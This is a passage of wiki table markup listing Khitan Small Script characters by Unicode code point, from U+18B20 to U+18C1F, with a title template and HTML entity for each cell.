|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B20|&amp;#x18b20;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B21|&amp;#x18b21;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B22|&amp;#x18b22;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B23|&amp;#x18b23;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B24|&amp;#x18b24;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B25|&amp;#x18b25;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B26|&amp;#x18b26;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B27|&amp;#x18b27;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B28|&amp;#x18b28;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B29|&amp;#x18b29;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2A|&amp;#x18b2a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2B|&amp;#x18b2b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2C|&amp;#x18b2c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2D|&amp;#x18b2d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2E|&amp;#x18b2e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B2F|&amp;#x18b2f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B3x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B30|&amp;#x18b30;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B31|&amp;#x18b31;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B32|&amp;#x18b32;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B33|&amp;#x18b33;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B34|&amp;#x18b34;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B35|&amp;#x18b35;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B36|&amp;#x18b36;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B37|&amp;#x18b37;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B38|&amp;#x18b38;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B39|&amp;#x18b39;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3A|&amp;#x18b3a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3B|&amp;#x18b3b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3C|&amp;#x18b3c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3D|&amp;#x18b3d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3E|&amp;#x18b3e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B3F|&amp;#x18b3f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B4x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B40|&amp;#x18b40;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B41|&amp;#x18b41;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B42|&amp;#x18b42;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B43|&amp;#x18b43;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B44|&amp;#x18b44;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B45|&amp;#x18b45;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B46|&amp;#x18b46;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B47|&amp;#x18b47;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B48|&amp;#x18b48;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B49|&amp;#x18b49;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4A|&amp;#x18b4a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4B|&amp;#x18b4b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4C|&amp;#x18b4c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4D|&amp;#x18b4d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4E|&amp;#x18b4e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B4F|&amp;#x18b4f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B5x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B50|&amp;#x18b50;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B51|&amp;#x18b51;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B52|&amp;#x18b52;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B53|&amp;#x18b53;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B54|&amp;#x18b54;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B55|&amp;#x18b55;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B56|&amp;#x18b56;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B57|&amp;#x18b57;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B58|&amp;#x18b58;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B59|&amp;#x18b59;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5A|&amp;#x18b5a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5B|&amp;#x18b5b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5C|&amp;#x18b5c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5D|&amp;#x18b5d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5E|&amp;#x18b5e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B5F|&amp;#x18b5f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B6x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B60|&amp;#x18b60;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B61|&amp;#x18b61;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B62|&amp;#x18b62;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B63|&amp;#x18b63;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B64|&amp;#x18b64;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B65|&amp;#x18b65;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B66|&amp;#x18b66;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B67|&amp;#x18b67;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B68|&amp;#x18b68;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B69|&amp;#x18b69;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6A|&amp;#x18b6a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6B|&amp;#x18b6b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6C|&amp;#x18b6c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6D|&amp;#x18b6d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6E|&amp;#x18b6e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B6F|&amp;#x18b6f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B7x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B70|&amp;#x18b70;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B71|&amp;#x18b71;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B72|&amp;#x18b72;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B73|&amp;#x18b73;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B74|&amp;#x18b74;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B75|&amp;#x18b75;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B76|&amp;#x18b76;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B77|&amp;#x18b77;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B78|&amp;#x18b78;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B79|&amp;#x18b79;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7A|&amp;#x18b7a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7B|&amp;#x18b7b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7C|&amp;#x18b7c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7D|&amp;#x18b7d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7E|&amp;#x18b7e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B7F|&amp;#x18b7f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B8x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B80|&amp;#x18b80;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B81|&amp;#x18b81;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B82|&amp;#x18b82;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B83|&amp;#x18b83;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B84|&amp;#x18b84;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B85|&amp;#x18b85;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B86|&amp;#x18b86;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B87|&amp;#x18b87;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B88|&amp;#x18b88;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B89|&amp;#x18b89;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8A|&amp;#x18b8a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8B|&amp;#x18b8b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8C|&amp;#x18b8c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8D|&amp;#x18b8d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8E|&amp;#x18b8e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B8F|&amp;#x18b8f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B9x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B90|&amp;#x18b90;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B91|&amp;#x18b91;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B92|&amp;#x18b92;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B93|&amp;#x18b93;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B94|&amp;#x18b94;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B95|&amp;#x18b95;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B96|&amp;#x18b96;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B97|&amp;#x18b97;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B98|&amp;#x18b98;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B99|&amp;#x18b99;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9A|&amp;#x18b9a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9B|&amp;#x18b9b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9C|&amp;#x18b9c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9D|&amp;#x18b9d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9E|&amp;#x18b9e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B9F|&amp;#x18b9f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BAx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA0|&amp;#x18ba0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA1|&amp;#x18ba1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA2|&amp;#x18ba2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA3|&amp;#x18ba3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA4|&amp;#x18ba4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA5|&amp;#x18ba5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA6|&amp;#x18ba6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA7|&amp;#x18ba7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA8|&amp;#x18ba8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BA9|&amp;#x18ba9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAA|&amp;#x18baa;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAB|&amp;#x18bab;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAC|&amp;#x18bac;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAD|&amp;#x18bad;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAE|&amp;#x18bae;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BAF|&amp;#x18baf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BBx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB0|&amp;#x18bb0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB1|&amp;#x18bb1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB2|&amp;#x18bb2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB3|&amp;#x18bb3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB4|&amp;#x18bb4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB5|&amp;#x18bb5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB6|&amp;#x18bb6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB7|&amp;#x18bb7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB8|&amp;#x18bb8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BB9|&amp;#x18bb9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBA|&amp;#x18bba;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBB|&amp;#x18bbb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBC|&amp;#x18bbc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBD|&amp;#x18bbd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBE|&amp;#x18bbe;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BBF|&amp;#x18bbf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BCx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC0|&amp;#x18bc0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC1|&amp;#x18bc1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC2|&amp;#x18bc2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC3|&amp;#x18bc3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC4|&amp;#x18bc4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC5|&amp;#x18bc5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC6|&amp;#x18bc6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC7|&amp;#x18bc7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC8|&amp;#x18bc8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BC9|&amp;#x18bc9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCA|&amp;#x18bca;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCB|&amp;#x18bcb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCC|&amp;#x18bcc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCD|&amp;#x18bcd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCE|&amp;#x18bce;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BCF|&amp;#x18bcf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BDx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD0|&amp;#x18bd0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD1|&amp;#x18bd1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD2|&amp;#x18bd2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD3|&amp;#x18bd3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD4|&amp;#x18bd4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD5|&amp;#x18bd5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD6|&amp;#x18bd6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD7|&amp;#x18bd7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD8|&amp;#x18bd8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BD9|&amp;#x18bd9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDA|&amp;#x18bda;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDB|&amp;#x18bdb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDC|&amp;#x18bdc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDD|&amp;#x18bdd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDE|&amp;#x18bde;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BDF|&amp;#x18bdf;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BEx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE0|&amp;#x18be0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE1|&amp;#x18be1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE2|&amp;#x18be2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE3|&amp;#x18be3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE4|&amp;#x18be4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE5|&amp;#x18be5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE6|&amp;#x18be6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE7|&amp;#x18be7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE8|&amp;#x18be8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BE9|&amp;#x18be9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEA|&amp;#x18bea;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEB|&amp;#x18beb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEC|&amp;#x18bec;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BED|&amp;#x18bed;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEE|&amp;#x18bee;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BEF|&amp;#x18bef;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18BFx
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF0|&amp;#x18bf0;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF1|&amp;#x18bf1;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF2|&amp;#x18bf2;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF3|&amp;#x18bf3;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF4|&amp;#x18bf4;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF5|&amp;#x18bf5;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF6|&amp;#x18bf6;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF7|&amp;#x18bf7;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF8|&amp;#x18bf8;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BF9|&amp;#x18bf9;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFA|&amp;#x18bfa;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFB|&amp;#x18bfb;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFC|&amp;#x18bfc;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFD|&amp;#x18bfd;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFE|&amp;#x18bfe;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18BFF|&amp;#x18bff;}}
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C0x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C00|&amp;#x18c00;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C01|&amp;#x18c01;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C02|&amp;#x18c02;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C03|&amp;#x18c03;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C04|&amp;#x18c04;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C05|&amp;#x18c05;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C06|&amp;#x18c06;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C07|&amp;#x18c07;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C08|&amp;#x18c08;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C09|&amp;#x18c09;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0A|&amp;#x18c0a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0B|&amp;#x18c0b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0C|&amp;#x18c0c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0D|&amp;#x18c0d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0E|&amp;#x18c0e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C0F|&amp;#x18c0f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C1x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C10|&amp;#x18c10;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C11|&amp;#x18c11;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C12|&amp;#x18c12;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C13|&amp;#x18c13;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C14|&amp;#x18c14;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C15|&amp;#x18c15;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C16|&amp;#x18c16;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C17|&amp;#x18c17;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C18|&amp;#x18c18;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C19|&amp;#x18c19;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1A|&amp;#x18c1a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1B|&amp;#x18c1b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1C|&amp;#x18c1c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1D|&amp;#x18c1d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1E|&amp;#x18c1e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18C1F|&amp;#x18c1f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18C2x
